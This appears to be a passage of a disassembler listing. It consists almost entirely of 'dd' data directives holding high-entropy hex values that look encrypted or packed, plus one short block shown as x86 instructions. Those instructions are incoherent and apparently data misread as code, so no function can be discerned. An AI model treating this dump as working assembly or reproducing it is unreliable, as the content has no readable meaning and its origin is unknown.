0BC75B700h, 1EADBB61h, 604B258Ah, 2FC06CEDh dd 2A19CC9h, 44B574FCh, 0AF403A73h, 56821DDDh, 0CC7325E1h dd 25AF0378h, 0DDC2F8EAh, 0D9707DDBh, 0E114040Eh, 0B9E474EDh dd 3C4F2EDEh, 4625964Ah, 0DF60F995h, 79659520h, 5012972Ch dd 5FD9AF04h, 88ED53A1h, 4B76BE69h, 941778Ch, 60AA6DDDh dd 4E9BA886h, 0B4C8DD4Fh, 0F4A20030h, 17F9C712h, 8300EB0Ah dd 68050C95h, 25BBE9B9h, 79F06C55h, 5F072920h, 6988CA61h dd 952670F2h, 30E5A446h, 0BEFF61DFh, 0C0C2D891h, 0FB6C76A9h dd 0C22C0117h, 5B37D00Bh, 815D248Bh, 0A54BBF4Ah, 26229850h dd 60A500AEh, 0A237BD94h, 3902C401h, 5B83F19Ch, 8BA38E8Ah dd 0DCCD5758h, 54B3FD62h, 0D16064FBh, 152FA569h, 3400DBB2h dd 73BB1FFBh, 207EEC03h, 0C9858913h, 9D2A1EB1h, 0AFE86A8Eh dd 0D8026BFDh, 5F019AE9h, 6788BDBh, 0CDAD3DD8h, 2B4C1A84h dd 0D265BC66h, 719F0101h, 132F15FDh, 9E98EE65h, 27630109h dd 2EAB9EBEh, 17472021h, 0BFD68AA2h, 997DAA0h, 63CDFD78h dd 67E60EE0h, 96D90910h, 967BA8CFh, 26181A59h, 0F6781601h dd 89E66C73h, 0B872AD3Eh, 578524AAh, 5270C9E6h, 15820F28h dd 2430525Fh, 3E323F68h, 55004A64h, 0ADF0FC3Dh, 8E2503B5h dd 9D3C585Bh, 1D604DCh, 0AD67D933h, 2FA62612h, 0F5F72116h dd 0AE91B4B0h, 2BFC5E16h, 9247FF2h, 2210F5h, 5963C168h dd 4CD88AC0h, 3E034F81h, 663FC5A0h, 62B5D3C0h, 0DBE72B97h dd 9093D099h, 5F0EBFE8h, 933869CFh, 25B6260Bh, 0D8BCC773h dd 7BDA5975h, 12ED257h, 68A12591h, 32DD985h, 0A6EE8C61h dd 9AA8B4FFh, 0E34D1312h dd 5C8389C8h, 0F3C761F2h, 0DF282BD8h, 98569F46h, 0C0425CF4h dd 0E233ED12h, 36A697C9h, 0FF261DA0h, 0C98ED64Bh, 0EBB83EE9h dd 8D0120FCh, 0B6B75AD8h, 0B501D259h, 9D03002Dh, 0A55494C1h dd 0FE10C865h, 25AD8D82h, 0D704EE08h, 0E62C9FB8h, 0D4ED31DCh dd 6C3A2FD4h, 0B1564562h, 503273E9h, 0CB00CD02h, 88D31FE3h dd 0B0B2BE73h, 8094258Fh, 8F4BB6CCh, 7A49B08Bh, 0D61396BCh dd 1DE0F9A6h, 0ECD58321h, 0DA8A1DB0h, 65967ABh, 16B07FD0h dd 0C9E744Fh, 1D648C94h, 0C9B144Ah, 0ACC01BC8h, 3CB5DAFh dd 0B56AB4D3h, 85A78ABBh, 27A233h, 80AB6807h, 29B2216h dd 98E17958h, 0D65C0C26h, 0A6C38061h, 4586B25Ch, 0A7012E03h dd 2761BD0Bh, 2B80DD2Ah, 0CB81D830h, 0D2101258h, 3B96CD6Ch dd 6E1CC26Eh, 259AE822h, 0C7CC3389h, 0D55831B3h, 792B481Ah dd 0B107525Ah, 12707CC2h, 0C2E72969h, 0A030A64Eh, 12F6D2AFh dd 0E1F986F5h, 6AA118BEh, 811FB7BDh, 0B3ED9D09h, 0A09A2B3Bh dd 0D7C015C8h, 499D2326h, 0C94AE4C5h, 747930CCh, 3A853D2Fh dd 74D175DEh, 9D300DF8h, 0FC7330E3h, 0D421965Bh, 0D9309A77h dd 0BBC6016Fh, 37725348h, 96796050h, 0E67586F2h, 4E9A144Eh dd 53C019C8h, 2C852A65h, 0A5A97CD7h, 2DA08966h, 568A0F59h dd 0E9E2E984h, 705F7BDDh, 2101FA29h, 0F1FCB960h, 75386B77h dd 16A21E27h, 2B5E50FEh, 5E78FF2Bh, 544B1F8Fh, 0CD5909C7h dd 74286570h, 3F9F9C2Fh, 0E8870638h, 6E071309h, 91062B2Ch dd 0C40254A3h, 431B9880h, 9225BC8h, 9B71F964h, 71BD8985h dd 0DA4A90E8h, 0C11DC8DAh, 0CCD06E90h, 9D0BA2BBh, 89C14C38h dd 6842DDE1h, 0D0698856h, 89949543h, 2B966F70h, 777900F4h dd 589D8227h, 0D669715Bh, 0EA8A5469h, 0D602D650h, 0AED3A5B3h dd 47A3FCE8h, 0A6A9A1A1h, 7BBAF431h, 0FDB7A709h, 795E82C1h dd 0B85B041Eh, 950904DFh, 28692F6Dh, 0B54E80E1h, 1FCE6E66h dd 52BA19A9h, 406BACA5h, 1B5E5DD8h, 22CAAC9h, 4120E986h dd 7BA09B0Eh, 0AC01154Ah, 0B74EE9h, 0C78EA9A4h, 0B300E043h dd 690FB0F6h, 1D399A20h, 0C2CA5015h, 0BA0185C8h, 377A3440h dd 2E00F37Ch, 0D87C2763h, 1AA1591h, 0E044C28Bh, 30C8C07Ah dd 0BA1CB629h, 1CC0D77Ch, 57D6AEEAh, 0BB9400AFh, 3E632A4Ah dd 0E4004BEDh, 0FAAB0841h, 961459h, 0A3470E2Dh, 25973529h dd 1B303Ch, 22766F2Ah, 3BDE041h, 15B3AFF4h, 0D2895DEFh dd 0C27E058h, 0D1C6C218h, 93BC0Eh, 0B0F59A05h, 8A2B8073h dd 0A9E08300h, 0DB92B21Dh, 40E4004Fh, 7320ED81h, 0D00F5D36h dd 0E638EEC7h, 573068h, 0CFF3912h, 1536F393h, 37739518h dd 220D1Dh, 163BE449h, 1C817A53h, 2FF0DD00h, 0F94D0428h dd 7E370656h, 99EE2931h, 0D65F5C00h, 0DF2DE8C4h, 4F0F2A12h dd 0FF103FC8h, 4E881582h, 9680D748h, 7E7C25B2h, 2ED68231h dd 0BE100165h, 0F60052FFh, 0FE76EF08h, 0A49DA7h, 0CC89A67Fh dd 2B5DFB67h, 76C044FCh, 713E7AD5h, 1B9800DDh, 3D51B2B8h dd 5B003078h, 0FBBED3DAh, 0F08DCFh, 0AADD6E8Fh, 0ED563C7Ch dd 83074E00h, 135EFFA4h, 7815008Eh, 8431F03Dh, 7300141Bh dd 2447E83Eh, 5FC06Dh, 0FC54F839h, 0AC06D158h, 524BD207h dd 0FFB03479h, 6EB82436h, 9148CC90h, 0F75F6098h, 2366000Ch dd 0EB8D16F5h, 96507DA2h, 0CF003081h, 6DBEE3AEh, 0C364CBh dd 0F1D2388Eh, 119E1A53h, 6A967060h, 3843E3CCh, 38C9C40Eh dd 395BE00h, 6EB3F69Ch, 80218A03h, 11D47672h, 20899186h dd 0FD9B01AAh, 49F36FB4h, 33C35051h, 361E2F18h, 0B54D7DE9h dd 21411975h, 0C784C6h, 43D57E11h, 8A3CB8DCh, 7C178E60h dd 70FE74Fh, 0A0222693h, 0C70802BAh, 51FACC80h, 6EF88F78h dd 959C050Fh, 0D65287F4h, 0B2402307h, 664DD9h, 723B59BAh dd 0E68BFC2Dh, 757EA33Bh, 4A0F2403h, 32265E5h, 0AAE3816Fh dd 0B28BF505h, 9DB7FEE0h, 40092C1Fh, 0EEC01C5Dh, 0A10E4BE7h dd 0C79F0388h, 57434FD0h, 0B68804BDh, 0FF894001h, 0F69859h dd 0F4C476BBh, 33286240h, 0E5DEB70Eh, 0CE2E8CC1h, 32C230C6h dd 5F9780D0h, 92BE0300h, 59FCA506h, 4C931E10h, 11F28067h dd 2EF73C71h, 0CA900D60h, 4CC370D1h, 0A800C486h, 92286107h dd 303F8B29h, 3BD91C8Ah, 80ABB601h, 0DE878223h, 0D090B31Ch dd 3C949254h, 8BE020C1h, 49C0232Ah, 335203FDh, 0C96C357Ah dd 379C3800h, 8DC4676Eh, 0A19D0139h, 441477B3h, 0DFF18007h dd 0D80EB5E7h, 0CA237BAEh, 4FAE154h, 82D41538h, 7A400291h dd 0EC003178h, 0AD591033h, 0B3B02Bh, 66C9D7AEh, 65CE5132h dd 96B5BC00h, 0F7E34BDFh, 166CCD9Bh, 0E86C80AAh, 8A2E6B07h dd 0B6E702A1h, 4DADDF0Bh, 372FE180h, 53EA971Ch, 0EE4511C7h dd 0C2F52620h, 7AEB00A2h, 110A97DEh, 782A8238h, 0E20CFD20h dd 0F464284h, 3A13063Ch, 779663ECh, 0CF7151FBh, 1280070Ah dd 94F387Dh, 0F99B04E2h, 32DB9780h, 140320A2h, 6ECAA38Fh dd 5F7A00C1h, 9B1851F4h, 94EF5253h, 0B3BE42h, 86EC665h dd 327647h, 52E8C162h, 0CAF04BE9h, 4FA5B002h, 409FBCADh dd 397B6AEh, 0A2D051DEh, 2802BAE7h, 77B207E3h, 0ED18A9Ah dd 37F85700h, 48BC19B8h, 1A003FF3h, 9ACBB58Bh, 44C7B198h dd 0B0300CE5h, 0CDBB326h, 123D7D8Fh, 2C00076Ah, 0D17A42D2h dd 7B68147h, 8CC35A37h, 780E9A3h, 0CF541D3Bh, 0E7B846C5h dd 991F4380h, 95145333h, 19B9716h, 24C26D65h, 4DD2E0BBh dd 64DC5C28h, 44E74800h, 4BA6A00Dh, 2FA05h, 2930F16Ah dd 5CC7430Ah, 0BBD390Ch, 0FF51F0Fh, 263C615Ah, 53D09D63h dd 0C968DEC2h, 0CB166A3Bh, 2E266B0Ah, 32B900A7h, 0F6DFE271h dd 700262Dh, 3457F84Eh, 1C2A307Dh, 80863FA0h, 6E03EEECh dd 0E62D322Bh, 3C0DA419h, 733A22C0h, 66221F7Bh, 759AC050h dd 0FF483323h, 8C115800h, 0F4397013h, 26189A2Bh, 80EC2042h dd 752E733Eh, 141399D4h, 0CF00E78Bh, 60CD84A4h, 0D79200BFh dd 0EC83FA4Ah, 141D8904h, 0E1055124h, 0D8E5C181h, 640E9D9h dd 33240C87h, 5308895Ch, 0C381E3A0h, 0CEB16A9h, 0D034891Ch dd 6D00BA52h, 814B790Fh, 3FCB3BF2h, 0D19B4DD5h, 0C4DA7A8Bh dd 0BC681E85h, 1C779F77h, 330F94DEh, 0F7CB7A5Eh, 1C8B0851h dd 0FE71F4Dh db 72h ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov al, ch or al, 18h or dword ptr [edi+eax*4], 2Ch enter 0FFFFFF98h, 1Eh pop ecx lock cmp ch, cl mov esi, 0EFB7BB4h or eax, 235037ABh push ebx call far ptr 7Ch:0B836F868h enter 6ACh, 3 ; --------------------------------------------------------------------------- dw 0FFC5h dd 27093FE0h, 191617h, 24C072B8h, 9F310030h, 675D50E6h dd 7A0787D1h, 60FD8D83h, 797DD3D1h, 0E7CAFCh, 59BB901Ah dd 3998715Bh, 91004C7Eh, 89191F1Eh, 7B361CD4h, 0F44A00D2h dd 0C66F85EFh, 7A00A053h, 56AAE922h, 1D6CB4EBh, 81C1DB09h dd 9EE10B5Ch, 8491F04Eh, 38222900h, 411E797Ch, 51600070h dd 0CF7A7482h, 365A6943h, 38856AEAh, 984701Ch, 230FE68h dd 0CA360180h, 527D508Ah, 5B715FE6h, 64074F95h, 3D20AB37h dd 9A3F4F9h, 0EED422B9h, 377500EAh, 70C90014h, 11350D0Eh dd 0A1BD0909h, 28FDFA05h, 97F1CBDFh, 8A004C37h, 0C55C7E3Ah dd 4B3DB8F2h, 46DDCCB8h, 45A02B07h, 88F0D50Ch, 5E4D9Eh dd 0FA8C22C1h, 0B0BFA6B6h, 61C5EC08h, 0EBB9165Bh, 270140C8h dd 0F642FDB5h, 8B83217Eh, 4F310FD9h, 0B700D108h, 0C08F5ED8h dd 2622632Eh, 42D36B76h, 9DC2C15Ch, 9F5BD881h, 1B91EC35h dd 5AF29F80h, 3F3A6E59h, 0EDC94F78h, 0C280475Eh, 9CDD2FA3h dd 6937500h, 87BF6649h, 0E4A9809h, 4E65FFCFh, 4DDFD169h dd 1FB260CFh, 231CE2E8h, 452DF380h, 31BC1A01h, 4801893Dh dd 0D6305267h, 203F64D5h, 0CE8AB3CFh, 400E4D00h, 30216A68h dd 0E45C000Fh, 9D29BDBEh, 0BB0C66CDh, 0F65B4911h, 5B6AFEBCh dd 801CDB02h, 3A0AE4B8h, 191217FEh, 1C6A815Dh, 4C3C251Eh dd 0E200346Bh, 61414EB7h, 1C35C6h, 0E3FF9922h, 76303233h dd 5106564Ch, 991B3B53h, 60ACDD39h, 204B1149h, 0BAC4ECDAh dd 0FFDE2639h, 2FD27E05h, 3BA07432h, 2DECC25Fh, 0B277A806h dd 0B77FC1Ah, 4951F8E9h, 2DCBA8CFh, 0AD034837h, 80851D88h dd 0BD38011h, 919D03C0h, 66608040h, 0E91AB812h, 16149148h dd 6F6DA361h, 602081Ah, 0FB6FB350h, 64BD2325h, 0F99D12FFh dd 0A4B5F81Dh, 0CDEFC002h, 0C2FB7E3Eh, 0C07EF88Ah, 5044D3E9h dd 6A037516h, 1F87BBFFh, 0B561D75Fh, 54A52071h, 7300EEF1h dd 14B8E316h, 8E91BD89h, 0A4623F5Fh, 0C4552B1Ah, 10B067AEh dd 1613F4BDh, 0FA644AECh, 71E40607h, 2B912D10h, 0F4934EF1h dd 0B24B37F3h, 0DEDA1066h, 0F62AA0D2h, 0C1498BF6h, 87864F15h dd 30292054h, 1DFD74B5h, 6E5B4EE7h, 8C89F053h, 0D961D0BCh dd 0E96AD18Bh, 0A8CA17ECh, 8703C0B6h, 0AD9B1D6Eh, 30BBEDC9h dd 0E928D9B9h, 8B39479Eh, 908525FBh, 5B3DB5C9h, 345DE330h dd 93520AF9h, 8A4F36F9h, 102287h, 44AD1982h, 0D7C37E2Bh dd 38351A00h, 0AD42E34h, 5FE92A8Ah, 0CDF94F62h, 83202E87h dd 77CCBCh, 6B5951A0h, 0D405909Ah, 0B1D6BB06h, 408A01ACh dd 919F5B11h, 0AB153292h, 52293A3h, 1E231904h, 7E95BEA0h dd 9F5B66E0h, 0DA00A8B2h, 9589F533h, 25F28BA4h, 5BC9E113h dd 0E0BA2F6h, 0CD77AC42h, 5A5DC1EBh, 2199E8BAh, 7E2B0524h dd 6319832h, 0AACE56F5h, 9648F0C9h, 0FE01EF16h, 0F6961EDAh dd 0B219058Ch, 0B7167FB9h, 84F34BF6h, 25F1E680h, 689A3762h dd 825E7C10h, 8501FCE1h, 0C6702D7Fh, 0DA072AF1h, 3A69DC5Ah dd 9619F448h, 131CA82Bh, 49F22DD9h, 0A19CA693h, 8300B9Ch dd 9D230951h, 0F221FDDh, 6EC4860Fh, 5B996049h, 490069E2h dd 6FEC608h, 5E2D11CEh, 685FF361h, 6247E7Bh, 8D05469Dh dd 64BE0E45h, 0B83EED50h, 0C5950072h, 1E43B6D1h, 241F5840h dd 8601CF81h, 0BD0903C2h, 5FFFE83Bh, 0AB6BE874h, 47ADDA05h dd 0AD99356Ch, 0B5049230h, 5B0B2FB9h, 7DF668E0h, 0F5AC9A9Fh dd 98017637h, 0EE450A91h, 0E28F133Fh, 8589B0C9h, 0EE144FDDh dd 8C005F6Fh, 8F8F63Fh, 0EAE3282Fh, 5BFA7360h, 0EA283FF5h dd 6C848A25h, 0EBE25345h, 0E9E6F527h, 341D24C4h, 10E1FF06h dd 41B2D20h, 87D226BBh, 0A297FC25h, 0BED32E8Eh, 6EBBC190h dd 2A612748h, 91119EE5h, 82ADDB4Ah, 0C01219D1h, 756C872h dd 92BB219Dh, 0FC74C478h, 425A1C1h, 1227A6Bh, 255EC911h dd 8741136Eh, 60021A99h, 176110C0h, 7CA6929Fh, 9A6D2786h dd 42BD4C7h, 0A5206BEh, 0A7BD353Bh, 14548DC9h, 0F61F75BBh dd 4799A03Dh, 8E3400D8h, 0A4FCF17Fh, 89279529h, 0BBAEEE1Fh dd 0CB7D70DDh, 0ED3A3302h, 0E0F87FBFh, 2E870AD7h, 4D23F41h dd 0FF8D0F50h, 3EE6E431h, 0DB4A8F38h, 0A06382EAh, 6867C44Dh dd 38A9CB35h, 0D2096844h, 76FE7D1Ch, 4F4A40E7h, 7FE8CBEEh dd 0F5DB5D0Bh, 84C0D5C9h, 3AB0FF44h, 5B132D13h, 0E760B7C7h dd 123101A1h, 0EC1B95BDh, 686BB570h, 8B65805Fh, 0EB6280F8h dd 0EBA9952Eh, 5685B282h, 0CD00FC74h, 37595516h, 2F3A629Eh dd 0AFE4EBE6h, 0B26E100h, 77C40754h, 43E70B88h, 405F97D9h dd 2B32E051h, 16A5D8EFh, 8538125Fh, 222DBC5Dh, 0BDAED6E5h dd 0E46127B7h, 0A0DE9F92h, 0DF0709DCh, 7DE4021Dh, 98C63A01h dd 0A1A8FCD5h, 0C8099A6Fh, 51B8C214h, 5C52BE7Eh, 0A2CD4A5h dd 9D0E3560h, 8D4F103Dh, 0FD8C02BFh, 4B1E1DCh, 0C635E98Dh dd 0A106CA2Fh, 55200CB8h, 0D1A84F8Eh, 7B1E88ACh, 387E9DCh dd 1830D41Ch, 82D8DFDDh, 26074B51h, 0B6FEF64Dh, 70EAD682h dd 0E6E2176Eh, 8421A85Bh, 96FC2434h, 0C009DB93h, 50452C70h dd 86805FEh, 0C4DF923Fh, 15EFE85h, 3B8687C7h, 4EF92Bh dd 49A58143h, 400ADD9h, 0E702CF90h, 7C1298BDh, 0ED3F0423h dd 8168B2h, 79E37D78h, 83C705BBh, 0AD8D6D2Dh, 8C1DA822h dd 0A2C51F28h, 2BA79F02h, 76991A33h, 958F4085h, 0C5002CF0h dd 0B3303502h, 249E5B5Fh, 605C90BEh, 0C8209A1Bh, 55B15112h dd 80083008h, 0D0225D24h, 1D0B4784h, 0FB905B3Ah, 55CF70B1h dd 49998872h, 0E5951056h, 0CAC84F2Dh, 0BDFF0013h, 7954D520h dd 4101CF25h, 1207C290h, 3A206108h, 0E1D59615h, 0C4C9A2AFh dd 569FD1A6h, 32E9C2CEh, 0B75A0DD4h, 0B7D185E5h, 24B930FBh dd 0DD4CD3C2h, 0E52A2710h, 3119163Eh, 10579B5h, 17A629E9h dd 0F59D04F0h, 0E6810019h, 27BCD9C7h, 0FFE76107h, 0ADB7245Ch dd 0B005DED3h, 33D792A7h, 0DB0999A8h, 538401D8h, 0C438BF29h dd 9E045A90h, 87F98FD2h, 72D2D6E7h, 5BD5960Bh, 0E77AAA61h dd 13BFB100h, 0B9A71D62h, 4F011E40h, 0C896DB11h, 0E493C115h dd 52356AF9h, 8BB07E30h, 2D43E23Fh, 2E5A631h, 0B08CC627h dd 0D2D2482h, 17710847h, 9E42EE27h, 0E09CD4D4h, 2CD7961Ch dd 0BBC0AAACh, 4FB1EE06h, 4CC8315Eh, 860F2E96h, 2C5EC2CBh dd 1889D6E0h, 407ADE8Ah, 3641FD37h, 4922AC00h, 0E7B13378h dd 2C693D62h, 37F5000h, 0BD019698h, 0B8A509F4h, 0F8748B25h dd 56915BB4h, 0D3BAED12h, 0E0A760B6h, 17B91EBAh, 0B710CA62h dd 78E6C5h, 30E2EF9Ch, 6558A746h, 5ACE4100h, 7207624Dh dd 0A3690923h, 6B08385Ch, 9BB36097h, 5F5632CCh, 3BA24BDAh dd 0AA569300h, 7A9895E7h, 0AF677B18h, 812DD5D8h, 6D356A5Bh dd 27694105h, 0B9D673A9h, 18E0B88Bh, 569EAD3Bh, 0AA9C1665h dd 76B5575Ah, 29011F17h, 0C283E179h, 11068D01h, 0CB719589h dd 0B976253Fh, 2E3B89Dh, 216A046h, 93D4E8B7h, 5B5DCC6Ch dd 0D6FDE20Ch, 14A8EDF9h, 2F96F900h, 0DD03B236h, 0BB8CBF08h dd 1E4E61C8h, 41BD7D52h, 0A0A3A74Bh, 73A88A3Dh, 0E7C24ECFh dd 406E4B37h, 9F3F2B01h, 20DF3CECh, 0FD25BA99h, 0E5C7381h dd 3F1085B5h, 51E30261h, 5D37630Eh, 18919535h, 94953B80h dd 28B53F90h, 0C349692Ah, 70BEA529h, 0FBF381F2h, 5296AF16h dd 0B99380A2h, 0F01A56B2h dd 251F3091h, 4E06A446h, 9DBB99DAh, 0CADC4770h, 406CFE46h dd 8D8CF781h, 0FB37EB25h, 0AFB5A7DBh, 0C4481D0Bh, 0B91C033Ah dd 0FA1377B5h, 0CB88CF93h, 0AE131265h, 0FF1654D9h, 5F2D98E9h dd 3E68724Dh, 82686A62h, 1471D3h, 0F8DB509h, 75703AB5h dd 5A308137h, 13FB5EE7h, 8481B531h, 0A393FCBAh, 9B375E67h dd 7F0980D8h, 2D71ECC2h, 0ABC0CB81h, 50B0C1D8h, 0C3F60A71h dd 6A2540Bh, 0A59D5353h, 0A40097B5h, 60EF8ADAh, 802A0D7Eh dd 0F474CE5Fh, 0C65F2389h, 51DF694Bh, 0AE31678Bh, 80732B4Bh dd 848D9401h, 0D0E8C0A2h, 0B7FF71F2h, 7A00FEB7h, 4E4659C2h dd 878A0962h, 0F85E74D8h, 9D23C181h, 0A86F0E8Dh, 6AFBA4EBh dd 0E5CC00C4h, 504EABFEh, 5EAB9757h, 4D804437h, 0A93F2569h dd 2808B8D8h, 394D1F41h, 61035360h, 4D8D8B5Eh, 3EFDC178h dd 9FC19CDBh, 0FC55B484h, 0FC0194D3h, 95296DF3h, 8E4832F5h dd 0ACDB2DE7h, 217B757h, 89279CA7h, 7A14B9C1h, 37F88ABDh dd 0EA7A711Ch, 2FB5BA79h, 0AB88C0BBh, 0BF501C82h, 48334A02h dd 1CCDADC1h, 19C2BAC1h, 9EE72Ch, 0E837D3DCh, 0E2008CCAh dd 0B4D94EDFh, 9F5DF728h, 0BD5FF9E2h, 0C8320277h, 22E37E73h dd 9D33A2F8h, 0DD82295Bh, 23D3F76Ah, 1D4FD270h, 0C487CD06h dd 0E8194710h, 0ED09250Bh, 6030E8C1h, 13681F32h, 9D207504h dd 0E28CE53Eh, 25AD7AE8h, 0CCE6CEA9h, 0B095313Dh, 8BD18116h dd 839497FBh, 0FB094144h, 1A3DECBh, 8DE78102h, 6A48EAEEh dd 0F8D30BBCh, 0E1F82C63h, 1A357752h, 251DFC12h, 51FF8841h dd 382F48E9h, 0DB41F108h, 4A551130h, 41D7A0Bh, 658D8980h dd 18021FBh, 4A242F26h, 90CF03B8h, 1345874Ah, 7FDF8850h dd 71C5F501h, 90B89698h, 1B9AB79h, 2FD9B7A8h, 20A01F66h dd 521C2AE9h, 0E403BF60h, 0EA013EE5h, 618AC825h, 2FB2975Bh dd 85F2E00Fh, 0CFF6EA4Bh, 0A270AEA4h, 25FE220Bh, 0FD37FF6Ah dd 488F4501h, 0E4A70FF7h, 86AA9990h, 7EE03Ah, 3F6C85Fh dd 94FC41h, 0ACD916F9h, 54BEECFh, 0B14B30B8h, 3D95B6D0h dd 0F2C5B71Bh, 3A5D2B11h, 8FD8582h, 459DC20Eh, 0A86C5E21h dd 168125F6h, 0B5F06CE4h, 93C1F42h, 882ABD11h, 0E38181F9h dd 0A5A35ADDh, 9F1CF818h, 814074FCh, 2C0E31F6h, 0B246125h dd 0CC770B91h, 29EF80D5h, 8B618209h, 7E1E2FF5h, 1012BFA4h dd 52277EF2h, 0C82BA348h, 40C854BDh, 0A6DD73BFh, 0D18B5013h dd 0D72F6307h, 0A3E9F961h, 79BD3441h, 0E48524C2h, 0CDEC019Ch dd 6FC80D4Bh, 2B5B4553h, 28DC88h, 0AB744A3Eh, 0F025605Ch dd 78D21C4Bh, 58987730h, 11D76AE9h, 70ED0AFh, 18009893h dd 143080B5h, 16C6AD33h, 0C81B4309h, 4901C02Dh, 56BE2F6Eh dd 0F87ACF6Fh, 325F8EA9h, 9B408BF3h, 0A62A4E55h, 972D2208h dd 44205F32h, 3F9A28E1h, 0F059F400h, 98544E20h, 0DFCF0223h dd 1C2D8D31h, 953E22FFh, 0BDF92404h, 51909C71h, 4BF8C740h dd 0BC8CA96Ah, 0F3B01CAh, 412E8BB1h, 8202EC1h, 9C8CF36h dd 8E2FBEC6h, 0CD251376h, 60186471h, 2F3554C1h, 0A582652h dd 29B93440h, 12E00F02h, 4C55F1FAh, 9BEA98CFh, 31F11A13h dd 0C31CF600h, 29E42Dh, 7D74C436h, 0FC1A453Eh, 249156C9h dd 3FEEB8A5h, 18236Dh, 433CD04Ah, 0D24F2B5Ch, 5D6F40FBh dd 6970FA1Eh, 34E42200h, 858A783Ah, 4064B477h, 0A45D1E76h dd 90648h, 8AF9A08Fh, 12AEBB4Ch, 0F35FD6E0h, 0D780C248h dd 0FE8481DCh, 42D880Dh, 0B47C15ECh, 0ED8F9009h, 60E97CC2h dd 1A8D9D2Bh, 0ED9A0282h, 6983792Fh, 9D47EFEh, 0F807AE7h dd 3931579h, 0E25B32B8h, 8C17FC6Eh, 8311E504h, 80C4513Bh dd 845AF2FFh, 13AE0B5Fh, 0E860A9C7h, 4A580036h, 0FA750DCEh dd 450DCE5h, 2C4AC5A1h, 0ECE512FCh, 0A1A64FD4h, 85891EF0h dd 6A211524h, 7E8D0FE2h, 98D3AF79h, 5B81BD14h, 324CA4E7h dd 130EF510h, 0AB1E1FFh, 2F4C282Eh, 51415C8Ah, 0D88B113Dh dd 0F81A282Fh, 0DBEFD8D6h, 683980A7h, 12E88A7Dh, 0E9605AA7h dd 3AD1B89Fh, 0AA026345h, 795BD8Bh, 8140355Eh, 25171FCFh dd 3BE20833h, 328233B7h, 5E10B528h, 5F1B9131h, 920075A3h dd 0C80AE239h, 0FDB0F53Bh, 4817547Fh, 3D493201h, 0A5625961h dd 225C1942h, 0D44154EBh, 9ED5E209h, 129FC4B0h, 83DA8A90h dd 0A9BCD995h, 390EB86Eh, 9D0B8B31h, 0C86A2B71h, 6A965E7Eh dd 80AD9BEBh, 0F7A0ED95h, 0E9860165h, 7A1B1368h, 0B63376h dd 0B2E0EAF8h, 6B771Dh, 0A4146348h, 8A51AA1Fh, 5B5FFA16h dd 0EC041BF8h, 0A8766518h, 0BD33C1E5h, 2D2F2535h, 0C02F5A0Bh dd 0AD636F7Ah, 434EB476h, 8C36D12h, 0EC96A498h, 0BFDEE500h dd 883D8926h, 61951001h, 0E95B092Fh, 4110F6B4h, 2EF2BBF7h dd 0E84BF811h, 2584E6F3h, 0EDC68DB9h, 88E0F14h, 2881106h dd 80616002h, 6C5713F3h, 0D9BD12E6h, 43C2E729h, 8E8800C4h dd 9D92654Bh, 90A10168h, 0E411EC62h, 0C349E501h, 373FE548h dd 5C6BF385h, 1500DE0Eh, 0C19834Fh, 984CB249h, 0FABA9555h dd 8A8063B5h, 0BF66FCBBh, 89CC17B6h, 1B9BAF46h, 6480DF8Eh dd 2F2BA31Eh, 503B3516h, 1D0040E2h, 0AB70E7Ah, 0B505E98Bh dd 0E21701A7h, 5B1B32BFh, 7CB5C2D8h, 0AC7C49FCh, 1946D6h dd 0C428DB2Ah, 50F1176h, 0BD0BDFBFh, 54A925h, 6852B0BBh dd 786F857Fh, 0D76D093Ch, 0A22370D1h, 0CAB78680h, 0D8D22FE3h dd 91063597h, 7B88801Bh, 9D13F5Dh, 50FB3CA8h, 7F161C6Ch dd 0D7AACA81h, 0E9DF71E6h, 27E52674h, 80BDF957h, 0F97410CCh dd 0BB009436h, 1A5C996h, 0E6AD2065h, 0A83A1284h, 0F5FBE5Fh dd 67A54F24h, 0D672AC9Ch, 0FD7E3D04h, 0BDACF802h, 4E51FEA5h dd 0BDBCE1h, 0CF358B96h, 499509D1h, 8100C592h, 34C169E3h dd 9F5DE91Bh, 0DC69D9EFh, 870F62FBh, 2050415Eh, 51111EC3h dd 0AE007B38h, 0FC30B83Fh, 6B28F375h, 1F09D1C4h, 7E1DF8D3h dd 1DC4D7ECh, 93E59B60h, 42267600h, 0C5F9057Fh, 0A19D2F89h dd 8BB6F80h, 4D4BCFBCh, 0FA3AF08Ah, 0E858FD4Bh, 437701E5h dd 98D8EB29h, 65806A27h, 0ED89EFD6h, 1266186Fh, 9E38F2E9h dd 0B145C861h, 7A6A03B9h, 4ED01F19h, 64F7CDA5h, 0B1FE6017h dd 0F96900C4h, 8C20CB81h, 4E9D1F5Ah, 3035BD51h, 327B8700h dd 2678FFE8h, 85AD599h, 0F2240735h, 7117C909h, 87B7A73Dh dd 7BC8B309h, 58EBAB2Ah, 0BC09494Eh, 0CA84F5h, 0C4878FE5h dd 9DCBBA11h, 8D29CD60h, 7C013125h, 1946DECDh, 6E1F8801h dd 2FEBFE25h, 2C11034h, 8D497C9Ch, 0BC94B96Eh, 229C0934h dd 41D40D19h, 1FE1B5C1h, 26D42D2Eh, 399B555h, 0B455F003h dd 825A53E7h, 32751E31h, 0D411D64Ah, 0AD6CF013h, 0F858AF8h dd 51528881h, 39DE297h, 4F20508Ah, 2B0AB574h, 20BEC234h dd 26287DACh, 0A39FDC00h, 6714547Ah, 0CC18973Eh, 7D05DB81h dd 6A260BB7h, 0E079F6ABh, 0AF9D83h, 0E9DBF164h, 332009E5h dd 0F5B1DF4h, 6FB979E2h, 0E8D683B8h, 0EC501268h, 23B76BBEh dd 0F908001Ch, 0D2E04AE2h, 82A5D12Fh, 2BD54Eh, 34B750F5h dd 0BB98972h, 69C4450Ah, 0DA04D549h, 998BAF25h, 476A4Ah dd 6B79A2FFh, 128B4C7Ah, 0E2F9FA8Ah, 0A80C88C6h, 704606A5h dd 0A7DF8B50h, 0DE93D8EAh, 8D181A71h, 16FD2A01h, 29CA4B85h dd 2B80896Eh, 3C2AD34h, 9EC528Bh, 61F85E57h, 0F589367Bh dd 695D7113h, 6E407CCDh dd 2B31643h, 0D0494A65h, 0CB817AE5h, 2E60ACEBh, 0E1796129h dd 26B6E4Ah, 3668CC3Fh, 68505C35h, 1EF508F8h, 61BFC612h dd 7011380Fh, 0A1003548h, 0FE73485Bh, 95DE9829h, 0F6E969F1h dd 0B11FD417h, 0D442B833h, 578F0858h, 8B08DFE6h, 93079BDh dd 0E87EABE9h, 8C22402Eh, 9BB6C1ECh, 0D08D00DCh, 81EBC1B9h dd 9E77E7F7h, 58955B4Bh, 0F0E0F6FAh, 28842C01h, 78ADB063h 